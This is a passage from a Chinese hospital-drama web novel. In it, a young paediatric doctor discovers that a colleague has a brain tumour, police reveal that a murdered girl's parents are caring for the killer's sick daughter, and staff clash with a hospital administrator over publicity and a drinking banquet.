两人走进去,影像科的医生不在,已经出来的片子都放在门口。 普通患者还得等医生过来才能拿,韦初雪熟悉这边的业务,随手翻看起来。 “其实神经内科和神经外科都不错,”韦初雪介绍道,“小儿神外的手术也有很多种,都是高难度的手术,国内做小儿神外手术的医生比较少,基本上都靠神外的医生,但你也清楚,孩子和成人是不同的,还是得有人专门研究这个方向。” 南栀点头,“我也比较喜欢神外。” “你是想挑战高难度吧?”韦初雪笑着抽出一张片子,问,“你会看脑部CT吗?我研究挺久了,你如果不熟悉,我可以教你。” 南栀说:“看过几次,但肯定不如你专业。” 韦初雪扫了一眼片子,“这个是脑瘤,分辨率不清楚,看不清是恶性还是良性,CT可能还会有恶性、良性重叠的情况,如果直径太小,CT可能拍不清楚,脑瘤的话还是得用MRI,不过咱们医院没有,临川市都没有,应该就首都和沿海几个发达城市的医院有,我记得两年前富雅医院才引进设备。” 韦 初雪尽量把自己知道的信息都说出来。 南栀一边听一边看片子,最后扫了一眼患者姓名,然后愣住。 她诧异地看着韦初雪,一时说不出话来。 韦初雪道:“南栀?我说的这些都很基础啊,你应该知道的。” “我……” 韦初雪说:“其实看片子很容易,不过咱们设备不行。” 她正要放下片子换下一张,南栀拦住她,“韦医生……” 韦初雪笑笑,“怎么了?” 南栀第一次体会到有话说不出的感觉。 她刚入学时,老师便和她谈过话,让她说话委婉些,和同学们好好相处。 如果将来面对的是患者,还能这般直白吗? 患者和家属是否能接受病情?医生说话需不需要技巧? 南栀觉得自己挺委婉的。 后来老师看她和同学们相处得都不错,就没再提这件事。 现在南栀知道,说话的确需要技巧,有些话很难说出口。 韦初雪见南栀表情不对,又拿起片子,仔细看起来,“确实是脑瘤,看着情况还可以,但这片子没法判断是恶性还是良性,只能说没有位移,密度嘛,还算均匀?” 南栀艰难道:“韦医生。” “恩?” “韦医生……这是你的片子。” * 南栀回到办公室,怎么都笑不出来。 就如韦初雪所说,CT无法判断脑瘤是良性还是恶性,只能说应该不是四级野生型。 别说现在的医疗水平,就说后世,谁能治得好癌症? 陆随下了手术便来找南栀。 他连续喝了好几天汤,脸颊反而更消瘦,也没见长体重。 南栀盯着陆随看了好半天,担忧道:“你再去做个全身检查吧?怎么都喂不胖的?” 陆随觉得她莫名其妙。 “我每天都得锻炼,三餐都是营养师搭配的,多喝两碗汤,不至于长胖。你今天怎么愁眉不展的?” 南栀拧着眉问:“有吗?” 陆随:“……” 眉头都能打结了。 陆随其实很少看到南栀不开心。 她看起来乖巧,但很有自己的想法,其他人根本没法干预她,包括箫珵。 就连提到亲生母亲时,南栀都是笑眯眯的,好像一点儿都不觉得自己的童年太悲惨。 陆随有些担心,他伸手摸南栀的额头,“你不舒服?” 南栀摇摇头,但没什么力气躲开。 无精打采地趴在办公桌上。 陆随追问道:“还是遇到什么事了?患者不太好?家里有问题?如果是家里的问题,我可以帮忙,实在不行找箫珵问问。” 虽然不想承认,但南栀肯定和箫珵更亲。 南栀还是摇头。 阮乔一进来就看到挨得极近的两人,“呦呦呦,假结婚那对,你们不是装样子吗?办公室没人你们就这样装?要不要把办公桌给你们收拾干净,拼张床啊?” 陆随:“……” 他离南栀远了些。 阮乔说:“和你们说个稀奇的事,刚才医院来了好多警察。” 医院来警察不太稀奇,报警的事常有。 但两辆警车停在医院门口,十几个警察从车上下来,这阵仗还是不常见的。 陆随问:“警察来做什么?” 阮乔耸肩,“不知道。” 陆随看向南栀,“你犯事了?来抓你的?” 不然南栀干嘛失落? 阮乔:“……,我们栀栀才不会犯事。” 这俩人的脑回路一个比一个奇怪。 阮乔说:“如果栀栀犯事了,你打算怎么办,把她送到公安局?” 陆随说:“车在院子里,开车从后门走。” 阮乔:“……” 她真心实意地给两人鼓掌,“牛,你俩牛,以后结婚得给我两包,不,五包喜糖!” 电话响起来,南栀抓起话筒。 是病房那边打过来的,实习生紧张道:“南老师,病房来了很多警察,不知道是什么情况。” 此时的儿科病房已经乱成一团。 两个住院医师紧张地等在病房门口,实习生们都躲在办公室附近。 护士长正在和警察交流。 这些警察都穿便装,听说是刑警,不用穿警服。 有十来号人,其中有两个是穿警服的,不然就凭他们凶神恶煞的长相,肯定要吓走许多人。 邓悦和叶宾来住院部找同学聊天,正好撞见这一幕。 “是不是来找邱丹的,他看起来不太好惹。” 邓悦说:“说什么呢,林村来的凶手已经抓到了,他不是凶手。” “不能根据长相判断人的好坏,真说长相,”叶宾看向便衣刑警,“他们是不是都该抓起来?” 几个实习生捂嘴偷笑。 正巧有两个刑警看过来,实习生们立刻石化。 等了有五分钟,刑警才和护士长谈妥,南栀几人匆匆赶过来。 邓悦眼前一亮,惊喜道:“是陆医生!” 叶宾也看到陆随,“这就是陆医生,长得也太秀气了。” “你懂什么,这叫帅,”邓悦说,“你的长相就谈不上帅,顶多算是个人。” 叶宾:“……” 他嘟囔道:“你怎么只看脸,说不定我就比他优秀。” “你可算了吧,人家是在首都上的学,如果不是陆嘉述教授在临川,才不会回来。人家来康宁医院也是因为陆教授是从康宁医院走出去的。” 邓悦夸起陆随来滔滔不绝,上一个被她夸赞的还是韦初雪。 陆随和韦初雪早就出名了,邓悦对两人的经历如数家珍。 邓悦低声道:“我上学时还听说陆医生和韦医生走得很近,唉,资源总是在同一批人手中来回转,陆医生就不能找个普通的医生结婚吗,把资源往下传一传。” 叶宾问:“比如你?” 邓悦:“那可太好了,能让我的前途无比光明。” 叶宾叹气。 他怎么就没自信去找个富婆养自己一辈子呢? 其实吧,有靠山也挺好的吧? 邓悦叮嘱叶宾,“咱们一定要在陆医生面前好好表现,就说喜欢儿科,想留在儿科,说不定能通过陆医生看到陆教授。” 叶宾:“……” 但凡多几个人有邓悦的心性,国家都能多不少人才。 他们昨天还一起吐槽儿科的孩子闹! 南栀找到护士长。 护士长叫住刚才和她交谈的刑警,“警察同志,这位是荀芳的主治医生。” 南栀朝刑警伸出手,“您好,你们是来找荀芳的?” 刑警同样伸出手,“不只是来找荀芳,也是来见柴倩美和邱丹的。” 南栀看向病房。 柴倩美和邱丹都不在,有两个女警察在陪荀芳。 刑警解释道:“柴倩美和邱丹在和我们的人谈话。” “他们做了什么?” “不,是我们有事要向他们交代,犯罪嫌疑人很想见见荀芳,不过还是得先得到荀芳的同意。我听说柴倩美、邱丹夫妻俩出钱给荀芳治病,还留下来照顾她,这事恐怕还得他们夫妻俩同意才行。” 南栀越听越疑惑。 护士长在旁边低声说道:“林村的杀人犯,就是荀芳的亲生父亲,柴倩美和邱丹……是受害人的父母。” * 邱莲从小就不爱学习,也不想跟着母亲学编筐,至于女红,她就更厌倦了。 邱莲最喜欢满山跑,村里人总说她像个野孩子,但都喜欢她。 她活泼好动还皮实,偶尔被柴倩美追着打,母女俩就在村子里绕圈,全村人都能拿着饭碗站出来看热闹。 日子很平淡,柴倩美以为一辈子都会如此。 邱莲会嫁给同村的普通人家,她可以经常回娘家,婚姻中可能会有争执,但是不用怕,娘家人就在,柴倩美一个人就能给邱莲撑腰。 可有一天邱莲说要去山上抓野鸡,再也没回来。 暮色降临的林村,只有月亮才有光亮。 那晚,就连月亮都躲在乌云之后,山脚下的村子被阴暗笼罩,只能偶尔看到蜡烛的火光在闪动。 八点钟过去,就连火光都灭了。 柴倩美和邱丹拿着家里唯一的 手电筒出去找孩子。 他们原本不太担心的,邱莲在村子里有很多朋友,她可能去其他人家住下,忘记和他们说了。 好几户人家被他们吵醒,不过都没怪他们,听说邱莲不见了,一起拿上家里的手电筒出门找。 一找就是一夜,连人影都没有。 村民们议论纷纷,都说邱莲是在山里被野兽吃了。 山里有野猪,如果往深处去,说不定还会碰到更大型的野兽,他们村里人靠山吃山,每年都有人在山里出事。 说这话时,他们都避着柴倩美,但柴倩美好像不太着急,她不哭也不笑,只是哪里有线索就去哪里找。 往后两天,他们都在山里找人。 那两天柴倩美都留在山里,邱丹也是如此,后来是村主任亲自来劝,两人才下山。 家里还有老人,不能都出事。 林村其他人也帮着找孩子,但都没找到,直到第五天,孩子的尸体在臭水沟里被发现。 柴倩美去认尸,她看到被撑起来的衣服,看到面目全非的女孩,她已经认不出这是邱莲了。 县里来了刑警,还有专业的法医,法医说,她在水里泡了太久,是巨人观。 柴倩美面无表情地看着,然后扭头就走。 邱莲的爷爷奶奶、姥姥姥爷都在水沟边哭晕了。 邱丹忙着给警方提供线索,只有柴倩美回到家。 她和往常一样洗衣做饭,还会打扫院子。 邻居们不敢上前搭话,他们说柴倩美是受了太大的刺激。 警方破案很快,邱莲是被奸杀的,嫌疑人是同村的荀鹏。 荀鹏,独自带着女儿荀芳生活,是个老光棍。 家里条件很一般,妻子去世后,因为太穷,没人愿意嫁给他。 警方还没去抓荀鹏,荀鹏就先跑了。 而柴倩美,还和往常一样生活,好像邱莲没有死,更没有来过。 除了邱丹,大家都对她颇有微词。 女儿没了,她怎能如此冷静?甚至连邱莲出殡那天,都没见她大哭一场。 公婆受到打击,接连生病,柴倩美在家照顾他们,但连公婆都不想和柴倩美说话。 柴倩美不在意,只是继续做该做的事,和以前一样编筐,还会背着筐拿到集市上卖。 买筐的客人挑好筐,却看到边边角角的血迹,柴倩美摊开手,“不小心戳破了。” 客人没在意,反正也不会放什么吃的东西。 当晚,公婆和柴倩美大吵一架。 “你心里还有邱莲吗?我就没见过你这样当妈的!凶手都跑了,你还能坐得住?邱丹!是你招惹了那个混蛋?你们得给我一个说法!” 邱丹不语。 他长相凶悍,平时脾气是不太好,但真不至于主动去招惹什么人。 荀鹏家里条件不好,顿顿都吃不饱,瘦得像电线杆,他就算想找个人欺负,都不会去找荀鹏。 邱丹想不通,他们家和荀鹏家无冤无仇的,荀鹏怎么就盯上他女儿了? 他知道柴倩美一定也想不通。 凌晨,柴倩美辗转反侧几个小时还是没睡着。 她已经习惯了,这几天都是失眠的状态,每天只能睡两个小时。 柴倩美爬起来,从丈夫口袋里摸出旱烟。 她坐在厨房门口,学着丈夫的模样点烟。 邱丹喜欢抽烟,说解乏。 柴倩美抽了几口,除了太呛外,没有其他感觉。 但她还是坚持将烟抽完。 抽完烟,柴倩美就盯着柴房愣神。 有些问题,她也想不通。 实在想不通,柴倩美就不想了。 她起身走到柴房,拿出平时砍柴用的刀,向院外走去。 林村静悄悄的,月光朦胧,映在村中小路上,柴倩美迎着月光往前走。 荀鹏不在家,是荀芳的奶奶在照顾她。 荀芳的爷爷奶奶平时不怎么管这爷俩,实在没办法了,不想被村里人骂,才过来看孩子。 因为刚出过杀人案,村里人都开始锁大门,荀家也锁了。 柴倩美看着门锁冷笑。 她翻过栅栏,跳进荀家的院子。 荀鹏家很小,柴倩美很快找到荀芳的房间。 是个狭窄的房间,以前应该是厨房或者柴房,总归不是正经房间。 荀芳有一个小床,仔细看是纸盒子搭起来的,被褥都很薄,已经很脏了,但没人给换洗。 那晚,柴刀放在荀芳的枕头旁很久。 不知为何,从那晚后,柴倩美总能在村子里遇到荀芳。 每次遇到,她都死死盯着她。 荀芳不会说话,好像也不懂什么叫杀人,看见谁都甜甜地笑。 但她爸刚出事,谁能给她笑脸?村里人都不爱搭理她。 荀芳的奶奶也不太管她,宁可出门找人打牌,也不想给荀芳做饭。 她理直气壮地抱怨,“荀鹏这死小子不懂事,做了错事跑了,把孩子丢给我们,我们怎么办?都一大把年纪了,就算下地干活能做多少?我们能给她一口吃的,让她饿不死就算了!” 柴倩美经常去荀鹏家盯着荀芳。 荀芳会做很多事情,甚至还能烧火。 她如果看到柴倩美,就冲着她傻笑,然后继续干活。 柴倩美好奇,一个小孩怎么能做这么多事,她到底知不知道荀鹏做了什么? 转折在荀芳生火时晕倒了。 柴倩美冲过去救人扑灭火,发现荀芳一直在发烧。 她在心里念叨着,不能让荀鹏轻松,得把这个累赘还给荀鹏,然后背着荀芳去看村里的大夫。 大夫给开了药,很快退烧,不过大夫说了,荀芳还有其他病,他看不明白。 村里的诊所开的药都一样,不管什么病,抗生素先来一瓶,都是猛药,肯定看不了甲状腺。 荀芳的奶奶立刻表示与她无关,柴倩美只好把荀芳背回家。 背回家那天,公婆的脸都绿了,邱丹的脸色也不好,不过他们还是帮忙煮了粥。 荀芳很快退烧。 柴倩美发现荀芳的病可能还不小。 荀芳很听话,病好了,就帮家里干活。 邱丹的爸妈不想搭理她,她也不生气,他们生火,她在旁边递柴火,他们铺床,她帮着拉褥子。 气得婆婆拿着笤帚骂街,“到底是谁教你的?!” 是专门来气人的吧? 荀芳吓到了,可怜巴巴地比画。 她不会手语,荀鹏不可能教她,也不能写字。 比画半天婆婆才看懂,“你爸揍你?” 她挥舞着笤帚,“拿这东西揍你?” 荀芳点头。 婆婆好半天没说出话来。 荀芳在家住了几天,病情越来越明显。 晚上她自己睡,柴倩美仍然睡不着。 她爬起来看着熟睡的荀芳,她喜欢蜷缩着睡觉,和邱莲完全 不一样。 邱莲睡觉时,能把床上的东西全都踢下去。 林村的月色很美,远处还有狗吠声。 柴倩美在窗前坐了许久。 天亮前,她终于做了一个决定。 * 阮乔扶着墙,默默地往前挪。 她以后再也不骂人了,绝对不骂人,一定要等罪犯被判刑了再骂人!! 阮乔都不知道该怎么面对柴倩美,柴倩美没给她一巴掌,真是给她面子了。 韦宁雨安慰道:“你也不知道,如果你知道内情,肯定不会骂她。她也不想让咱们知道,不然早就说了。” 阮乔一点儿都没被安慰到。 南栀提到重点,“能不能请刑警和院方配合一下,帮柴倩美申请减免一些费用?” 刑警说:“我们能帮的肯定帮,如果有需要,来找我们就好,这家人也不容易,说实话,换成是我,我可能做不到。” 南栀也做不到,她还不能如此大度,对方杀害她的女儿,她可能更希望对方全家都遭报应。 但她敬重能做到的人。 南栀看向陆随,他更了解医院的制度。 陆随说:“先和院长打声招呼,汤院长也要名声,这事好说。” 南栀立刻给几个院长打电话。 祁念珍没什么意见,答应帮忙,倒是汤兴生,听说后便赶过来了。 南栀才是荀芳的医生,汤兴生反倒先和陆随打招呼,“小陆这几天手术排了很多啊,很辛苦,怎么又来儿科了。” 邓悦偷偷对叶宾说:“你看,汤院长都知道该讨好谁。” 普通人可能会排挤陆随,但领导们肯定不会。 叶宾说:“小人行径。” “呸,是你不懂变通。” 陆随与汤兴生寒暄了几句,进入正题,“汤院长,柴倩美和邱丹是把家里全部存款拿出来,还借了很多钱,才能给荀芳做手术,他们的情况比较特殊,您看在费用方面,是否能有一些优惠?” “好说,”汤兴生笑道,“多感人的事件啊,有几个人能做到?你听我的,去把记者叫来,让记者采访柴倩美,到时候报道一发,咱医院肯定是费用全免。” 母爱的故事永远不过时。 如果能被报道,对医院来说是好事,再给柴倩美免去费用,也能给医院赚来一波好感。 虽然都是公家的医院,但康宁医院是从高处跌落,总还有点儿回到最辉煌时代的想法。 “就这么定了,你们可能不认识报社的,这样吧,我去联络,都交给我。” 南栀道:“这件事恐怕还得和柴倩美商量。” 汤兴生这才看向南栀,“你是……哦,小南。” 阮乔看不惯汤兴生的态度,“汤院长,荀芳是儿科的病人,不是心外的病人,你和陆医生聊再多也没用。” 韦宁雨赶紧把这祖宗拉走。 人家南栀想说啥就啥,没人和她技巧,那是因为人家技术在。 他们阮医生可不能只凭正义感做事。 陆随道:“这件事确实该和柴倩美商量。” “这有什么好商量的?”汤兴生说,“这对她来说也是好事,能减免费用,谁会不乐意?” 几个实习生也觉得奇怪。 一千块呢,换谁都不会拒绝。 而且又是正向的报道,怎么会不愿意呢? 南栀说:“柴倩美从来没告诉过我们她和荀芳的关系,她的女儿刚遇害,她还没能走出来,我们不能不经过她的同意,就拿这件事做文章,她是受害者家属。” 汤兴生笑道:“小南的意思我明白,但是这不是一笔小钱,我相信没人会拒绝。” 陆随拧眉,态度强硬许多,“汤院长,必须和柴倩美商量。” 汤兴生:“……” 南栀嘛,他还不太怕,但陆随就不一样了,这毕竟是陆嘉述的亲孙子,有血缘关系的。 别说汤兴生,就是康宁医院的院长来了,都得给他面子。 汤兴生收起不高兴的情绪,笑道:“还是你们年轻人想得周到,就按你们说的做吧。” 他意味深长地看着陆随,“这还没结婚,就开始护着了?还是你们年轻人的爱情够热烈。” 实习生们愣住。 邓悦自豪道:“看,陆医生说话很管用吧,他就应该是我们的目标!搞定陆医生,就相当于搞定半个医院。” 叶宾:“……,你听清了吗?” “什么?” “汤院长说陆医生和南医生在谈恋爱。” 邓悦:“哦,谈恋爱啊,谈恋爱那就……” 邓悦:“……” 什么?南栀不仅无痛当医生,还和陆医生恋爱了?! ??! 这对吗? 幸运只降临在一个人身上?! 叶宾松口气,邓悦终于能消停几天,不会总念叨陆医生了。 哪知邓悦很快振作起来,“所以啊,以后我们也得巴结南老师!我要去给南老师打饭!” 叶宾:“……” 向小叶同志学习! 第63章 第63章过去 柴倩美果然拒绝记者采访,也不希望自己的名字出现在报刊上。 汤兴生找人去劝邱丹,邱丹和柴倩美一样,都坚决拒绝。 不能登报,就少了一次宣传的机会,汤兴生很惋惜。 不过祁念珍坚持上报,给荀芳申请减免费用,有刑警们的帮忙,申请过程还算顺利,市里得知此事后,大笔一挥,把荀芳的医药费全都打过来了。 荀芳也拒绝再见父亲。 他是她名义上的父亲,但从未尽责。 荀芳的乖巧全是他训练出来的,只要荀芳不去做或者反应慢,他都会把荀芳抓来痛打。 荀芳没办法不乖巧。 至于以后荀芳会去哪里,现在还不好说,她已经算是无父无母,早就和姥姥家人断了联系,奶奶也不上心,没有可去的地方。 阮乔几人私下里议论,最好的方法就是柴倩美把她带回家养着,可没人敢真的说出来。 荀芳身份特殊,真带回家了,那就是放在柴倩美心中的一根刺。还有邱家人,他们虽然埋怨荀芳,但到底是心地善良,还是筹钱救了她,可他们已经做到这份上,够不容易了。 医生们只能尽可能地帮帮他们,谁家买了好东西,都给柴倩美捎一份,荀芳病床的床头柜永远都塞得满满的。 医院评职称的事很快展开。 南栀没什么心思去了解规则,盛昭云会把需要准备的材料告诉她。 但她又没什么学历,能准备的也没多少。 祁念珍把南栀叫过去商量,“我们都清楚,你的能力,评个主治医生是绝对没问题,你还经手了好几起疑难杂症的病例,这些都能给你助力。” 南栀乖巧听着。 “但是我们不能否认,现在学历越来越重要,不是从前,随便读个医专,或者干脆稍微学一点儿懂一些,就拉过来给人看病。你的学历还是要提一提。” 南栀道:“我查到研究生考试,如果没有大学学历,可以额外加试,我可以去参加的。” 南栀其实没念过研究生,她出事时还在读本科,陆随和箫珵才是正经要毕业的研究生。 不过她读书速度快,记性好,早就在学研究生才会学的内容了,去参加考试也没问题。 祁念珍却又发愁了。 她作为院长,同时是临川市医科大学的教授,是要在大学里授课的。 教授有很大的自主权,把南栀收进去做研究生完全没问题。 读个两三年,拿个文凭,简简单单。 南栀年纪不大,再等两年也没问题。 等她毕业了,康宁医院也多个厉害的医生,对康宁医院有好处。 但是…… 祁念珍说:“你在临川念大学太可惜了。” 临川是有医科大学,但和大城市的医科大学没法比,临川市排不上名号。 如果可以,当然是去首都念书最好。 但去首都,就不能留在康宁医院,以后估计也不会再回来了。 祁念珍说:“你还是得找个机会去首都,去那边念书,留在手术工作,对你来说是最好的。” 她相信南栀的实力,完全可以做到。 祁念珍说:“你再好好考虑考虑。” 南栀离开后,汤兴生快步走进来,“刚才南栀来过了?” “恩,和她谈谈学历的问题。” 汤兴生道:“你和陆教授都很看好她,其实你在你们学校给她搞个学历就可以了,还可以一边上学一边来医院工作。” 祁念珍整理椅子坐好,漫不经心看向汤兴生,“想留下她?” “咱们医院是什么情况你又不是不知道,如果她真的不错,能留在医院是最好的。” “你为南栀考虑考虑,她留下来合适吗?”祁念珍道,“人家的前途就不是前途?” “话不能这样说,”汤兴生责怪道,“以她的情况,能在医院工作就很好了,你也知道她连医专的学历都没有。” 祁念珍听得烦,“南栀是儿科的人,儿科是我负责,汤院长想来帮我?” 汤兴生拧眉,“你看你,脾气总是这么大。” 祁念珍道:“不是我脾气大,实在是我这里庙小,现在只缺助手,汤院长要来吗?” 汤兴生:“……” “汤院长这么闲,就多去管管自己手底下的人,”祁念珍弯唇讥讽,“我看韦初雪最近状态不是很好,她可是汤院长的得力助手,汤院长不 去关心关心?” “初雪吗?” 汤兴生和韦初雪日日都见面,倒是没注意到她有什么不好的。 韦初雪性格强势,不服输,而且工作积极,每天第一个上班,最后一个下班。 有韦初雪这样的下属,汤兴生其实很省心,绝大部分琐事,韦初雪都会帮他处理好。 她不仅能帮忙处理政务,在学术方面也不落下,每一项都很强。 像陆随、南栀,都只是医学上的人才,但论起人际关系,他们就不太想理会了。 韦初雪不同,她陪汤兴生去酒局时,喝得比男人都狠。 汤兴生道:“没发现她最近怎么了,还和以前一样。” 祁念珍冷笑。 看见祁念珍的反应,汤兴生明白可能是有点儿问题,他尴尬道:“多谢你提醒了,我回去看看。” 韦初雪就在办公室,正在帮忙写材料。 汤兴生从前从未留意过韦初雪的办公桌,下属勤快嘛,他做领导的只管布置任务,其他事都不太在意。 他走过去看了韦初雪好一会儿,没看出不同来。 “初雪,最近有没有遇到什么麻烦?” 旁边的医生笑道:“遇到的也是好事,你看初雪都开始化妆了。” 汤兴生是瞧不出来女人有没有化妆的,但他看出来韦初雪涂了口红。 还有心情化妆,就应该还不错,汤兴生松口气,“有麻烦就和我说,别闷在心里。” 韦初雪点头。 汤兴生又说:“明晚我和医药公司约好了见面,你有时间吗,一起去?” 其实这饭桌上倒是没什么特殊交易,只是喝酒是不可避免的。 多个女人一起喝酒,男人们更高兴。 男人定的规矩,一般都不太能见光。 韦初雪有些犹豫。 汤兴生道:“你如果不舒服,就不用去了,我找其他人先顶替你,心情不好的话就去散散心,别硬撑。” 虽然汤兴生不知道祁念珍说的话到底是什么意思,但该关心的还是要关心。 找韦初雪这样的下属不容易,而且汤兴生多多少少也是把她当成可以培养的后辈的,是他的左右手。 韦初雪道:“汤院长,我可以去,没关系。” 汤兴生没再说什么,“那就准备准备,对了,我听说你很久没回家了,和家里关系还好吧?” 韦家对医院的贡献也不小。 韦初雪拧了下眉,仍然摇头,“没什么事。” “那就好,好好准备。” 汤兴生离开没多久,南栀便敲门走进来。 “你做好打算了吗?最近有没有不舒服?” 韦初雪得了脑瘤。 CT无法判断是恶性还是良性,韦初雪必须接受进一步检查。 不管是良性还是恶性,她脑中的肿瘤大小都到了必须切除的程度。 韦初雪给南栀使了个眼色。 南栀保持沉默。 旁边的医生继续笑道:“初雪是铁打的,哪会不舒服,一会儿还要和汤院长去酒局。” 南栀惊讶,“你还要去?” 韦初雪道:“没办法,医药公司的两个代表一直是我在接触,这回除了他们还有几个国外的医药方面的专家来,如果能谈妥,对咱们医院有好处。” 南栀更惊讶了,“国外也有酒桌文化?发达国家?” 韦初雪说:“他们喝得少,但有个市里的领导喜欢喝酒,其他人都得陪着。” 南栀从来不会理会这些事,当然也不关注这些人。 但医院少不了要和这些人打交道。 南栀把韦初雪拽出去,“你还没和其他人说?” 韦初雪摇头。 南栀:“为什么?如果是良性的,做了手术就好了。我看过你的片子,是良性的可能性很大。” 精致的妆容也盖不住韦初雪的憔悴,她看向窗外,轻轻叹气,“你也说了,是可能。” 南栀不解地看着她。 韦初雪说:“我还有很多事情要做,如果要进一步检查,临川市做不了,我得去首都。” “富雅医院的设备比较先进,你肯定要过去呀。” “如果去了,查出是恶性,我就回不来了,”韦初雪诚恳道,“我还有事情要做,这件事你先帮我保密,好吗?” 南栀拧眉,“可你已经有脑积水,如果不手术,肿瘤越长越大,以后也是问题。” 如果手术后查出是良性,就可以慢慢康复,将来还能回来继续做医生。 南栀问:“你到底要做什么,什么事比性命还重要?” 韦初雪沉默不语。 她是病人,南栀也不好太逼问,只好说:“如果很重要的话,我们或许能帮上忙?你安心治病,这边的事交给我们。” 韦初雪看向南栀。 从前,她从未把儿科放在眼里。 儿科的经历比较惨,先是主任出事,后来接连跑了好几个医生,只有盛昭云和阮乔留了下来。 因为太惨淡,一度被医院放弃。 后来南栀来了,儿科又活跃起来,现在人数也和其他科室差不多了,不过大多是实习生,还是缺医生。 韦初雪没想到现在反倒要儿科帮忙。 “你们帮不了的,”韦初雪道,“这件事只有我能完成。” 南栀听得云里雾里。 但韦初雪不愿意去首都治病,南栀也不能强迫她去,这事得慢慢来。 不过酒桌这事,就在今晚,迫在眉睫。 南栀道:“你一定要去喝酒吗?要不去找两个能喝的人帮忙?” 谈话可以韦初雪和汤兴生去谈,喝酒应该交给更专业的人。 韦初雪:“?” 谁能喝酒? * 陆随和箫珵今天难得能准时下班。 他俩排手术的时间比门诊多,用主任的话说,好刀要用在刀刃上,他俩手术做得好,就得在手术室多待待。 有点儿给黑奴画饼的嫌疑。 今天晚上没手术,陆随回到办公室,看到还没来得及送走的保温壶。 他将保温壶刷干净,打算给南栀送过去。 箫珵不忍直视陆随。 每天都高高兴兴的大补,他得虚成什么样? 也就是南栀太单纯,才会被他骗了吧? 箫珵跟着陆随去找南栀。 盛昭云却给了他们一个不好的消息,“南栀?哦,去作妖了。” 陆随:“?” 箫珵:“?” * 康宁医院的停车位不多,医生们也没有几人能买得起车的,汤兴生是为数不多开车的人之一。 晚上要去临川最好的饭店吃 饭,汤兴生特意开车上班,一面在心里盘算要谈的事情,一面将车停好,韦初雪会在后门等他。 祁念珍的话让汤兴生心有余悸,考虑到韦初雪的状态,汤兴生想着今天可能要让她休息休息。 汤兴生漫不经心地停好车,下车去找韦初雪。 车门还没来得及关上,汤兴生就愣住了,“南……南栀?” 南栀站在韦初雪身边,乖巧问好。 两个人模样都好看,但差别还是挺明显的,韦初雪一身成熟干练的工装,南栀却穿得很随意,背带裤不知捡的谁的,还不太合身。 汤兴生:“你们这是?” 南栀更加乖巧,“初雪不太舒服,我来送送她。” 汤兴生:“……” 看这架势可不像是送人,倒更像是要一起去。 南栀敢去,他都不敢领,就这年纪,这打扮,不知道还以为是学生。 他都怕刑侦冲进来把他带走。 汤兴生道:“只是简单吃顿饭,你们……” 他话没说完,又出现三个熟悉的身影。 阮乔揪着韦宁雨的耳朵,后面是盛昭云。 汤兴生:“?” 儿科的人都喜欢集体行动? 阮乔把韦宁雨送到汤兴生面前,“汤院长,这位也姓韦,酒量极好,他陪您去,保证您事半功倍。” 汤兴生:“……” 这是姓什么的问题吗? 韦宁雨还不太情愿,“我才不想去陪一帮老家伙喝酒,喝得都不开心。” 韦初雪看向韦宁雨,忍不住弯起唇。 韦宁雨更气了,“你可真有意思,你想要什么,和爸妈说一声就得了,非得自己逞能?还得陪酒?这是医生该做的事?” 汤兴生:“……” 有被骂到。 韦初雪道:“你怎么不管他们要东西,为什么非要自己赚钱?他们亏钱你,你动动嘴,多少钱都有。” 韦宁雨不吭声了。 汤兴生越听越不对劲,韦初雪和韦宁雨好像还真有点儿关系? 没听说过。 汤兴生道:“你们几个别胡闹,这是正事,不是小孩子过家家,我们不是去喝酒的,是办公的。” 南栀笑眯眯地看着他。 汤兴生:“?” 心里不太舒服。 南栀说:“不喝酒啊?” 汤兴生:“……喝酒只是顺便。” 南栀:“不是因为某人特别喜欢喝酒,所以大家都陪着吗?如果是正经工作,为什么不在会议室完成?” 她评价道:“陋习。” 汤兴生:“……” 小丫头哪里懂得酒桌文化的重要性! 他怕镇不住几人,便板起脸,“你们儿科的都不用值班?不用工作?有时间和我耗着?行了,该做什么就去做什么,我看医院里现在就你们科最能蹦跶。你们儿科本来就和人家差一截,看看人家心血管,内科稳扎稳打,外科有陆随和箫珵,你们多跟人家学学。盛昭云,你现在身份不一样了,也和他们一起折腾?” 话音刚落,汤兴生便听到不爽但耳熟的声音。 “你要去酒局?今早出门忘了带脑子?” 汤兴生看过去,心外之光陆随和箫珵前后脚走过来。 汤兴生:“……” 盛昭云幽幽道:“院长,我会向他们学习的。” 阮乔举手,“我也是!” 汤兴生:“……” 陆随板着脸教训南栀,“酒局是你该去的?酒桌上都有什么人,你知道吗?” 箫珵也不同意,“离这种事情远点儿,脏的事都是喝完酒做的。” 汤兴生:“……” 有被心脏之光骂道。 他无奈地看着两人,“你们怎么也过来了?” 箫珵好像这会儿才看到汤兴生,客气地和他问好。 至于陆随,一直拧眉盯着南栀,根本不理汤兴生。 陆随道:“总而言之,酒局不能去,如果非得去,我也要去。” 箫珵说:“那我也去。” 汤兴生:“……” 他们以为是排队上厕所吗,谁都能去?! 韦初雪忍不住又笑了笑,她看向南栀,“好像都是冲你来的,真幸福。” 南栀撇嘴。 天天被两个啰唆怪看着,哪里幸福了? 箫珵就算了,好歹是她亲哥,学长怎么也啰唆? 他不是霁月清风吗? 南栀蔫儿道:“反正今天我得陪韦医生。” 韦宁雨道:“我去好了,不就是喝酒吗?我就不信能喝死人。” 南栀说:“真的能。” 陆随道:“急诊半夜过来的基本是喝酒喝的。” 箫珵:“喝酒对心血管可不好,多少人英年早逝都靠喝酒。你是护士,这都不知道?” 三人都看向汤兴生,“汤院长,您可要小心啊!” 汤兴生:“……” 看着不像是关心他的健康。 韦宁雨说:“靠,我一儿科护士,孩子又不会喝酒。” 酒局也不是谁想去就能去的。 但这几人显然也没打算放过汤兴生。 汤兴生妥协,“这样吧,初雪今天得去,以前都是她帮着联络的,我已经和人家说了她会去。你们再来两个能喝的男生一起去,初雪少喝点儿,这样你们放心了吧?” 能喝的男生,也就只有韦宁雨和…… 陆随和箫珵看向彼此。 箫珵说:“别看我,我不怎么喝酒,你去。” 陆随:“我……” 他也没碰过酒。 但虽然不清楚原因,南栀显然不希望韦初雪去酒局。 “好吧,我和韦宁雨去。” 汤兴生点头,“小陆去也好,小陆去都是给他们面子了。” 南栀有些犹豫。 陆随昏迷那么久,身体底子也不好,而且他前几天还感冒了。 早知道她就练练喝酒,反正技多不压身,到时还能帮帮忙。 箫珵阻止道:“他不行,他这身体,林黛玉似的,算了,还是我去吧,我好歹还能喝点儿。” 他为了陆随和南栀,真是操碎了心。 陆随开车送他们过去。 南栀和箫珵坐在后排,箫珵趁机低声套话,“阿姨给陆随送汤的事,你知道原因吗?” 南栀点头。 箫珵惊讶,“你竟然知道?你不介意?” 